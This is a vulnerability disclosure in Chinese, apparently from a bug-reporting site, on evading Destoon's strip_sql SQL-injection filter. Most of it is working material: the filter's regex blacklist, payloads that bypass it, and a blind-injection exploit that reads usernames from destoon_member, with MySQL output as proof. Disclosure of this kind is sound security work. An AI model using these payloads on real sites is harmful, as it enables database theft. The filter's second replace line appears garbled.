### 简要描述:
strip_sql是destoon主要的安全防御函数。主要防御大多数情况下的注入漏洞。这个函数如果可以被绕过。那么会引发多个位置的注入漏洞。
### 详细说明:
strip_sql函数位于 `\include\safe.func.php`,38行
```
function strip_sql($string, $type = 1) {
$match = array("/union/i","/where/i","/having/i","/outfile/i","/dumpfile/i","/0x([a-f0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\{\(\+@`])/i","/update([\s\*\/\-\{\(\+@`])/i","/replace([\s\*\/\-\{\(\+@`])/i","/delete([\s\*\/\-\{\(\+@`])/i","/drop([\s\*\/\-\{\(\+@`])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/right[\s]*\(/i","/mid[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/bin[\s]*\(/i","/oct[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i","/conv[\s]*\(/i");
$replace = array('union','where','having','outfile','dumpfile','0x\\1','select\\1from','select\\1','update\\1','replace\\1','delete\\1','drop\\1','load_file(','substring(','substr(','left(','right(','mid(','concat(','concat_ws(','make_set(','ascii(','bin(','oct(','hex(','ord(','char(','conv(');
if($type) {
return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string);
} else {
return str_replace(array('d', 'e', 'g', 'i', 'm', 'n','p', 'r', 's', 't', 'v', 'x'), array('d', 'e', 'g', 'i', 'm', 'n', 'p', 'r', 's', 't', 'v', 'x'), $string);
}
}
```
与之前提交的代码相比,`select from` 与 `select` 的位置进行了互换,过滤中加入了`accent`符号。过滤中还新加入了`right`,`mid`等函数。对于这些过滤。我们来一个个的绕过。
### `select from` 与 `select`
这个问题的绕过,还是使用上次的技巧。先给出利用语句。
```
/*select*/SELECT.``.ord/**/(mid(`password`,1,1))/*from*/from
```
过滤后是这样的
```
/*select*/SELECT.``.ord/**/(mid(`password`,1,1))/*from*/from `destoon_member` limit 1
```
首先是经过`/select([\s\S]*?)from/i`语句,会把第一个select和第一个from过滤。在这里我们需要牺牲这两个字符串,只有这样才能保全剩下的SELECT和FROM。
对于/select([\s\*\/\-\{\(\+@`])/i的过滤,我们也有办法:
```
技巧一:select.``.password from destoon_member
技巧二:select!1,password from destoon_member
```
### 函数过滤
strip_sql过滤了几乎所有的猜解字符函数,但是通过其他的技巧,还是可以绕过的。根据mysql的提示,函数与括号之间不能包含空格以外的字符,否则将此函数当成表名。那么我们接下来需要再找一些替代函数。我在这找到的是 LPAD、REVERSE、TRIM、SPACE,这4个函数组合起来,可以达到mid的目的
```
mysql> SELECT LPAD(REVERSE(TRIM( lpad('username',3,SPACE(1)) )),1,SPACE(1));
SELECT MID('username',3,1);
+---------------------------------------------------------------+
| LPAD(REVERSE(TRIM( lpad('username',3,SPACE(1)) )),1,SPACE(1)) |
+---------------------------------------------------------------+
| e |
+---------------------------------------------------------------+
1 row in set
+---------------------+
| MID('username',3,1) |
+---------------------+
| e |
+---------------------+
1 row in set
mysql>
```
拆分字符串之后,我们试着把字符串转为10进制。conv与括号之间加入注释符,依然是可以使用的。
```
mysql> select conv/**/('ad',16,10);
+----------------------+
| conv/**/('ad',16,10) |
+----------------------+
| 173 |
+----------------------+
1 row in set
```
## 漏洞利用代码
猜解destoon_member里的username。
```
(/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT 0,13)
```
这个是转换后的代码,依然可以执行:
```
(/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223)
```
### 漏洞证明:
我们提交的原语句为
```
(/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223)
```
过滤后的语句为
```
(/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223)
```
以下为测试SQL语句的可执行性
```
mysql> select (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223);
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223) |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 0 |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set
mysql> select (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,13);
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,13) |
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 |
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set
```
暂无评论